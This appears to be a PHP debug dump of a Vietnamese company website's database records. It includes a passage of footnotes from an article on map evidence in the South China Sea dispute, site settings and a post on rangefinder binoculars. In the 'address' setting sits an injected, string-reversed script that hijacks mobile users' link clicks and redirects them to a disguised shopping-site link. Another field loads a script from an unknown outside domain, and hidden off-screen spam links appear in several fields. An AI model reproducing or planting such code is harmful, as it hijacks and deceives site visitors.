nhỏ không hiển thị rõ ràng các khu vực cụ thể đang là chủ đề của tranh chấp, trong khi các bản đồ khác đủ lớn có thể chỉ ra các khu vực tranh chấp đầy đủ chi tiết.</div> <div> </div> <div> [109] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1089, para. 4.67. Earlier on in that case (at 1076, para. 3.21), Ủy ban cũng nêu: “một bản đồ ... với tỉ lệ quá nhỏ đến nỗi việc nhập vào sẽ trở thành một vấn đề phải suy xét hơn là sự quan sát chính xác, khó có thể có giá trị pháp lý hay bằng chứng cao.” Xem thêm Case Concerning the Location of Boundary Markers in Taba (Egypt/Israel), Decision of 29 September 1988, [2006] XX Reports of International Arbitral Awards 1 at 48, para. 184:</div> <div> Tòa án không xem xét các chỉ dẫn dựa trên bản đồ là thuyết phục vì tỉ lệ của bản đồ (1:100,000) là quá nhỏ để thể hiện một vị trí trên mặt đất chính xác theo yêu cầu trong những trường hợp này, trong đó khoảng cách giữa các vị trí trụ cột tranh chấp đôi khichỉ một vài mét.</div> <div> Dispute Concerning the Course of the Frontier Between BP 62 and Mount Fitzroy (‘‘Laguna del Desierto’’) (Argentina/Chile), Resolution of 13 October 1995, [1999] 113 International Law Reports 1 at 224:</div> <div> Ngay từ đầu, một số quan sát được lưu ý đến về các bản đồ tỉ lệ 1/10.000 do Chile đệ trình. Những bản đồ này được vẽ với một tỉ lệ lớn hơn đáng kể hơn so với bản đồ của Ủy ban Ranh giới hỗn hợp hoặc những bản đồ kèm theo đệ trình yêu sách chủ quyền của Chile ngày 31 tháng năm 1995, cung cấp một biểu diễn chính xác về địa hình thực sự của mặt đất</div> <div> </div> <div> [110] Maurice KAMTO, ‘‘Sur quelques questions techniques liées à la détermination du tracé d’une frontière maritime de´limitée’’ in Rafael CASADO RAIGON and Giuseppe CATALDI, eds., L’évolution et l’état actuel du droit international de la mer. Mélanges de droit de la mer offerts à Daniel Vignes (Brussels: Bruylant, 2009), 481 at 493–6, tác giả đưa ra một tường trình chi tiết về những khó khăn nghiêm trọng mà Cameroon và Nigeria gặp phải sau đó do sự kiện rằng trong đánh giá của mình ICJ đã dựa trên một biểu đồ Hải quân Anh không chứa bất kỳ chỉ dẫn của mốc đo lường được dùng.</div> <div> </div> <div> [111] Beagle Channel, supra note 100 at 164, para. 137. See also John G. MERRILLS, ‘‘The International Court of Justice and the Adjudication of Territorial and Boundary Disputes’’ (2000) 13 Leiden Journal of International Law 873 at 875, nêu: “về các vấn đề ranh giới và lãnh thổ các bản đồ có khả năng cung cấp bằng chứng về tình hình trên mặt đất và thái độ của các nước có liên quan đối với nó’’; Henry DARWIN, ‘‘Judicial Settlement’’ in Evan LUARD, ed., The International Regulation of Frontier Disputes (London: Thames & Hudson, 1970), 198 at 207–8.</div> <div> </div> <div> [112] Temple of Preah Vihear (Cambodia v. Thailand), [1962] I.C.J. Reports 6 at 23.</div> <div> </div> <div> [113] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075–6, para. 3.22. Một cách tượng tự Uỷ ban nhận thấy rằng (at 1076, para. 3.21):</div> <div> Tuy nhiên, một bản đồ do một cơ quan chính phủ của một bên vẽ ra, trên một tỉ lệ đủ để cho phép miêu tả của khu vực biên giới tranh chấp là nhận biết được, thường có sẵn để mua hoặc kiểm tra, dù tại nước xuất xứ hoặc ở nơi khác, và bên bị ảnh hưởng bất lợi hành động dựa trên nó, hoặc không phản ứng đối với nó, có thể được dự kiến là sẽ có hậu quả pháp lý quan trọng.</div> <div> </div> <div> [114] Nicaragua v. Honduras, supra note 58 at 735, para. 253.</div> <div> </div> <div> [115] Strupp, supra note 63 at 17.</div> <div> </div> <div> [116] Ibid., at 17, note 98.</div> <div> </div> <div> [117] Yehuda Z. BLUM, Historic Titles in International Law (The Hague: Nijhoff, 1965) at 150.</div> <div> </div> <div> [118] Li and Li, supra note 4 at 290. See also ‘‘Carps Among the Spratlys’’ The Economist (10 March 2011), online: The Economist http://www.economist.com/node/18332702?story_id518332702, stating: ‘‘TQ chỉ vào một bản đồ dùng từ thời THDQ công bố trong cuộc nội chiến những năm 1940 và nói rằng cho tới gần đây không ai quan tâm (mided).”</div> <div> </div> <div> [119] Zhao, supra note 33 at 22, được dịch lại trong Li and Li, supra note 4 at 292.</div> <div> </div> <div> [120] Như lập luận trong bài viết do Nguyễn Hồng Thao trình bày tại Hội thảo quốc tế lần hai, nhan đề là ‘‘The South China Sea: Cooperation for Regional Security and Development’’, tổ chức vào 10–12 /12/ 2010 tại tp Ho Chi Minh, Vietnam: ‘‘South China Sea—Three Stages, Four Challenges, Two Regional Approaches and One Confidence’’ at 12–13. On file with the authors.</div> <div> </div> <div> [121] UN, ‘‘Vietnam: Dispute Regarding the Law on the Exclusive Economic Zone and the Continental Shelf of the People’s Republic of China which was Passed on 26 June 1998’’ (1998) 38 Law of the Sea Bulletin 54 at 55.</div> <div> </div> <div> [122] Vietnam, ‘‘Letter to the Secretary-General of the United Nations—86/HC-2009’’ (8 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm_re_chn_2009re_vnm.pdf.</div> <div> </div> <div> [123] Vietnam, ‘‘Viet Nam Request the Chinese Side to Remove from SBSM Map Service All Data and Information that Violate Viet Nam’s Sovereignty’’ (5 November 2010), online: Ministry of Foreign Affairs http://www.mofa.gov.vn; Vietnam, ‘‘Viet Nam Asks China to Remove Wrongful Data in Its SBSM Map Service’’ (26 January 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn.</div> <div> </div> <div> [124] Vietnam, ‘‘Foreign Ministry Spokesperson Nguyen Phuong Nga Answers Question from the Media at the Press Conference on June 9th 2011 Concerning the Viking II Incident’’ (9 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu ‘”những hành vi có hệ thống của phía TQ nhằm tranh chấp một khu vực không có tranh chấp với mục tiêu hiện thực hoá yêu sách ‘đường 9 chấm’ [sic], một mục tiêu không thể chấp nhận đối với Việt Nam”; Vietnam, ‘‘Press Conference on Chinese Maritime Surveillance Vessel’s cutting exploration cable of PetroViet Nam Seismic Vessel’’ (1 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu “Đường chín vạch của TQ ở Biển Đông, còn gọi là ‘đường lưỡi bò’ là hoàn toàn không có căn cứ hợp pháp và trái với Công ước Liên Hợp Quốc năm 1982 về Luật biển mà Trung Quốc là một thành viên. Yêu sách chủ quyền này xâm phạm vùng đặc quyền kinh tế và thềm lục địa của nhiều nước trong khu vực, trong đó có Việt Nam, và do đó nhiều quốc gia bác bỏ. TQ cố gắng để thực hiện tuyên bố này thực tế làm căng thẳng tăng lên trong khu vực.”</div> <div> </div> <div> [125] Meeting of States Parties to the 1982 United Nations Convention on the Law of the Sea, ‘‘Twenty-First Meeting’’ (13–17 June 2011), online: UN Office of Legal Affairs, Division for Ocean Affairs and the Law of the Sea http://www.un.org/Depts/los/meeting_states_parties/twentyfirstmeetingstates parties.htm (as further substantiated by participants in that meeting).</div> <div> </div> <div> [126] . Pensions of Officials of the Saar Territory (Germany, Governing Commission of the Saar Territory), Award of 4 September 1934, [2006] III Reports of International Arbitral Awards 1553 at 1567, nêu: “quyền phản đối của Chính phủ đó chỉ có được vào lúc này khi họ biết về các sự kiện đó”; Fisheries Case, supra note 66 at 139; Nuno Sérgio MARQUES ANTUNES, ‘‘Acquiescence’’ in Wolfrum, ed., supra note 34, 4, para. 21; D.H.N. JOHNSON, ‘‘Acquisitive Prescription in International Law’’ (1950) 27 British Yearbook of International Law 332 at 347, nêu: “nếu không biết thì không thể có sực mặc nhận nào cả”; Jean BARALE, ‘‘L’acquiescement dans la jurisprudence internationale’’ (1965) 11 Annuaire franc¸ais de droit international 389 at 400: ‘‘việc mặc nhận chỉ có thể liên quan đến một tình huống đã được biết đến với nước mặc nhận’, and 401–4; I.C. MACGIBBON, ‘‘The Scope of Acquiescence in International Law’’ (1954) 31 British Yearbook of International Law 143 at 173, nêu: “mệnh đề cho rằng việc sở hữu trên đó quyền sở hữu bằng cách dựa vào thời hiệu (prescription) phải thoả yêu cầu của trạng thái rõ ràng (notoriety) là hiếm khi đáng ngờ”, and 174–6.</div> <div> </div> <div> [127] Barale, supra note 129 at 404–6.</div> <div> </div> <div> [128] Martti KOSKENNIEMI, ‘‘L’affaire du passage par le Grand-Belt’’ (1992) 38 Annuaire français de droit international 905 at 931; Fisheries Case, supra note 66 at 138; Right of Passage over Indian Territory (Portugal v. India), [1960] I.C.J. Rep. 6 at 40. Xem thêm Land, Island and Maritime Frontier Dispute, supra note 111 at 577, para. 364.</div> <div> </div> <div> [129] Fisheries Case, supra note 66 at 138; Chamizal Case (Mexico v. United States), Award of 15 June 1911, [2006] XI Reports of International Arbitral Awards 309 at 329.</div> <div> </div> <div> [130] E.g. Hyung K. LEE, ‘‘Mapping the Law of Legalizing Maps: The Implications of the Emerging Rule on Map Evidence in International Law’’ (2005) 14 Pacific Rim Law and Policy Journal 159 at 159–75, 188; Abou-el-Wafa, supra note 37 at 438–9.</div> <div> </div> <div> [131] Abou-el-Wafa, supra note 37 at 128–9.</div> <div> </div> <div> [132] Xem generally Sam BATEMAN and Ralf EMMERS, eds., Security and International Politics in the South China Sea: Towards a Cooperative Management Regime (Abingdon: Routledge, 2009).</div> <div> </div> <div> [133] . Đối với một tổng quan về các phương pháp hội thảo và thành công của nó, xem SONG Yann-Huei, ‘‘The South China Sea Workshop Process and Taiwan’s Participation’’ (2010) 41 Ocean Development and International Law 253 at 256–60.</div> <div> </div> <div> [134] Xem chẳng hạn. Aldo CHIRCOP, ‘‘Regional Cooperation in Marine Environmental Protection in the South China Sea: A Reflection on New Directions for Marine Conservation’’ (2010) 41 Ocean Development and International Law 334; John W. MCMANUS, SHAO Kwang-Tsao, and LIN Szu-Yin, ‘‘Toward Establishing a Spratly Islands International Marine Peace Park: Ecological Importance and Supportive Collaborative Activities with an Emphasis on the Role of Taiwan’’ (2010) 41 Ocean Development and International Law 270; TUAN Vo Si and John PERNETTA, ‘‘The UNEP/GEF South China Sea Project: Lessons Learnt in Regional Cooperation’’ (2010) 53 Ocean and Coastal Management 589 SONG Yann-Huei, ‘‘AMarine Biodiversity Project in the South China Sea: Joint Efforts Made in the SCS Workshop Process’’ (2011) 26 International Journal of Marine and Coastal Law 119.</div> <div> </div> <div> [135] Robert C. BECKMAN, ‘‘Joint Development of Hydrocarbon Resources in the South China Sea: International Legal Framework’’ (16–17 June 2011), online: National University of Singapore—Centre for International Law http://cil.nus.edu.sg/wp/wp-content/uploads/2011/06/Session-2-Beckman- Session-2-CIL-JD-SCS-pdf.pdf. Xem chẳng hạn. Memorandum of Understanding between Malaysia and the Socialist Republic of Vietnam for the Exploration and Exploitation of Petroleum in a Defined Area of the Continental Shelf Involving the Two Countries, 5 June 1992 (entered into force 4 June 1993), online: NUS-CIL http://cil.nus.edu.sg/1992/1992-memorandum-of-understanding-between-malaysia-and-thesocialist- republic-of-vietnam-for-the-exploration-and-exploitation-of-petroleum-in-a-defined-area-of-thecontinental- shelf-involving-the-two-c/.</div> ', 'images' => '20160621064535a247e33589ec59fdaf79061d7d9daa4f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-19', 'status' => '1', 'view' => '47027', 'slug' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '725', 'rght' => '726', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $setting = array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ) $description_for_layout = '' $keywords_for_layout = '' $tintucnoibat = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-19', 'status' => '1', 'view' => '89620', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 